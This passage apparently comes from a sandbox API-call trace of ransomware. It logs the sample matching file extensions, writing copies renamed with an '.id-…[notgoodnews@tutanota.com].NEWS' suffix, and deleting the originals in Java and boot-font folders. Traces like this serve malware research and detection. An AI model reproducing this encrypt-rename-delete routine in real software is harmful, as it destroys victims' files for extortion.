Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString=".doc") returned 4 [0195.134] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".docx") returned 5 [0195.134] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0195.134] lstrlenW (lpString=".pdf") returned 4 [0195.134] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".xls") returned 4 [0195.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".xlsx") returned 5 [0195.134] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0195.134] lstrlenW (lpString=".ppt") returned 4 [0195.134] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString=".zip") returned 4 [0195.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".rar") returned 4 [0195.134] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".bz2") returned 4 [0195.135] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.135] lstrlenW (lpString=".7z") returned 3 [0195.135] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.135] lstrlenW (lpString=".dbf") returned 4 [0195.135] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.135] lstrlenW (lpString=".1cd") returned 4 [0195.135] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.135] lstrlenW (lpString=".jpg") returned 4 [0195.135] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.135] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.135] lstrlenW (lpString="dt_shmem.dll") returned 12 [0195.135] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0195.135] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=29760) returned 1 [0195.135] CloseHandle (hObject=0x34c) returned 1 [0195.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0195.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0195.136] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.136] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0195.136] GetLastError () returned 0x0 [0195.136] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x7440, lpOverlapped=0x0) returned 1 [0195.139] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x7450, lpOverlapped=0x0) returned 1 [0195.141] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.141] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.142] SetEndOfFile (hFile=0x348) returned 1 [0195.142] CloseHandle (hObject=0x348) returned 1 [0195.142] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.142] SetEndOfFile (hFile=0x34c) returned 1 [0195.143] CloseHandle (hObject=0x34c) returned 1 [0195.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0195.143] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0195.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.143] lstrlenW (lpString=".doc") returned 4 [0195.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".docx") returned 5 [0195.144] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0195.144] lstrlenW (lpString=".pdf") returned 4 [0195.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".xls") returned 4 [0195.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".xlsx") returned 5 [0195.144] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0195.144] lstrlenW (lpString=".ppt") returned 4 [0195.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString=".zip") returned 4 [0195.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".rar") returned 4 [0195.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".bz2") returned 4 [0195.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.144] lstrlenW (lpString=".7z") returned 3 [0195.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString=".dbf") returned 4 [0195.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString=".1cd") returned 4 [0195.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString=".jpg") returned 4 [0195.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.144] lstrlenW (lpString=".doc") returned 4 [0195.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.144] lstrlenW (lpString=".docx") returned 5 [0195.145] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0195.145] lstrlenW (lpString=".pdf") returned 4 [0195.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.145] lstrlenW (lpString=".xls") returned 4 [0195.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.145] lstrlenW (lpString=".xlsx") returned 5 [0195.145] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0195.145] lstrlenW (lpString=".ppt") returned 4 [0195.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.145] lstrlenW (lpString=".zip") returned 4 [0195.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.145] lstrlenW (lpString=".rar") returned 4 [0195.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.145] lstrlenW (lpString=".bz2") returned 4 [0195.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.145] lstrlenW (lpString=".7z") returned 3 [0195.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.145] lstrlenW (lpString=".dbf") returned 4 [0195.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.145] lstrlenW (lpString=".1cd") returned 4 [0195.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0195.145] lstrlenW (lpString=".jpg") returned 4 [0195.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.145] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.145] lstrlenW (lpString="dt_socket.dll") returned 13 [0195.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0195.146] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24640) returned 1 [0195.146] CloseHandle (hObject=0x34c) returned 1 [0195.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0195.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0195.146] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.146] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0195.147] GetLastError () returned 0x0 [0195.147] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x6040, lpOverlapped=0x0) returned 1 [0195.748] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x6050, lpOverlapped=0x0) returned 1 [0195.757] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0195.760] SetEndOfFile (hFile=0x348) Thread: id = 100 os_tid = 0x2b0 [0191.136] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3231fe8 [0191.136] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3241ff0 [0191.137] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2128 [0191.137] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbf10 [0191.137] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c21b8 [0191.137] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3b1b020 [0191.141] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2278 [0191.141] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2278, Size=0x20) returned 0x69d968 [0191.141] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2290 [0191.141] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2290, Size=0x20) returned 0x69dcd8 [0191.141] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0191.141] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0191.141] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff50 | out: OldValue=0x363ff50*=0x0) returned 1 [0191.141] lstrlenW (lpString="kernel32.dll") returned 12 [0191.141] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0191.141] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.141] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0191.141] Sleep (dwMilliseconds=0x64) [0191.448] Sleep (dwMilliseconds=0x64) [0191.895] Sleep (dwMilliseconds=0x64) [0192.158] Sleep (dwMilliseconds=0x64) [0192.815] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0192.815] lstrlenW (lpString="segoen_slboot.ttf") returned 17 [0192.816] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.816] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=85862) returned 1 [0192.816] CloseHandle (hObject=0x30c) returned 1 [0192.816] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0192.816] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.816] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.816] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.816] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.816] lstrlenW (lpString=".doc") returned 4 [0192.816] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString=".docx") returned 5 [0192.817] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.817] lstrlenW (lpString=".pdf") returned 4 [0192.817] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString=".xls") returned 4 [0192.817] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.817] lstrlenW (lpString=".xlsx") returned 5 [0192.817] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.817] lstrlenW (lpString=".ppt") returned 4 [0192.817] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.817] lstrlenW (lpString=".zip") returned 4 [0192.817] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.817] lstrlenW (lpString=".rar") returned 4 [0192.817] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString=".bz2") returned 4 [0192.817] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString=".7z") returned 3 [0192.817] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.817] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.817] lstrlenW (lpString=".dbf") returned 4 [0192.817] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.817] lstrlenW (lpString=".1cd") returned 4 [0192.817] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.817] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.817] lstrlenW (lpString=".jpg") returned 4 [0192.818] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.818] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.818] lstrlenW (lpString=".doc") returned 4 [0192.818] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString=".docx") returned 5 [0192.818] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.818] lstrlenW (lpString=".pdf") returned 4 [0192.818] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString=".xls") returned 4 [0192.818] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.818] lstrlenW (lpString=".xlsx") returned 5 [0192.818] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.818] lstrlenW (lpString=".ppt") returned 4 [0192.818] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.818] lstrlenW (lpString=".zip") returned 4 [0192.818] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.818] lstrlenW (lpString=".rar") returned 4 [0192.818] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString=".bz2") returned 4 [0192.818] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.818] lstrlenW (lpString=".7z") returned 3 [0192.818] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.818] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.818] lstrlenW (lpString=".dbf") returned 4 [0192.818] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.819] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.819] lstrlenW (lpString=".1cd") returned 4 [0192.819] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.819] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0192.819] lstrlenW (lpString=".jpg") returned 4 [0192.819] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.819] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0192.819] lstrlenW (lpString="segoe_slboot.ttf") returned 16 [0192.819] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0192.819] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=86178) returned 1 [0192.819] CloseHandle (hObject=0x30c) returned 1 [0192.819] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0192.820] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.820] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.820] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.820] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.820] lstrlenW (lpString=".doc") returned 4 [0192.820] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.820] lstrlenW (lpString=".docx") returned 5 [0192.820] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.820] lstrlenW (lpString=".pdf") returned 4 [0192.820] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.820] lstrlenW (lpString=".xls") returned 4 [0192.820] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.820] lstrlenW (lpString=".xlsx") returned 5 [0192.820] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.820] lstrlenW (lpString=".ppt") returned 4 [0192.820] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.820] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.820] lstrlenW (lpString=".zip") returned 4 [0192.820] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.820] lstrlenW (lpString=".rar") returned 4 [0192.820] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.820] lstrlenW (lpString=".bz2") returned 4 [0192.820] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.821] lstrlenW (lpString=".7z") returned 3 [0192.821] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.821] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.821] lstrlenW (lpString=".dbf") returned 4 [0192.821] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.821] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.821] lstrlenW (lpString=".1cd") returned 4 [0192.821] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.821] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.821] lstrlenW (lpString=".jpg") returned 4 [0192.821] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.824] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.824] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.824] lstrlenW (lpString=".doc") returned 4 [0192.824] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0192.824] lstrlenW (lpString=".docx") returned 5 [0192.824] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0192.824] lstrlenW (lpString=".pdf") returned 4 [0192.824] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0192.824] lstrlenW (lpString=".xls") returned 4 [0192.824] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0192.824] lstrlenW (lpString=".xlsx") returned 5 [0192.824] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0192.824] lstrlenW (lpString=".ppt") returned 4 [0192.824] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0192.824] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.825] lstrlenW (lpString=".zip") returned 4 [0192.825] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0192.825] lstrlenW (lpString=".rar") returned 4 [0192.825] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0192.825] lstrlenW (lpString=".bz2") returned 4 [0192.825] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0192.825] lstrlenW (lpString=".7z") returned 3 [0192.825] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0192.825] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.825] lstrlenW (lpString=".dbf") returned 4 [0192.825] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0192.825] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.825] lstrlenW (lpString=".1cd") returned 4 [0192.825] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0192.825] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0192.825] lstrlenW (lpString=".jpg") returned 4 [0192.825] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0192.825] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0192.825] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0192.825] CreateFileW 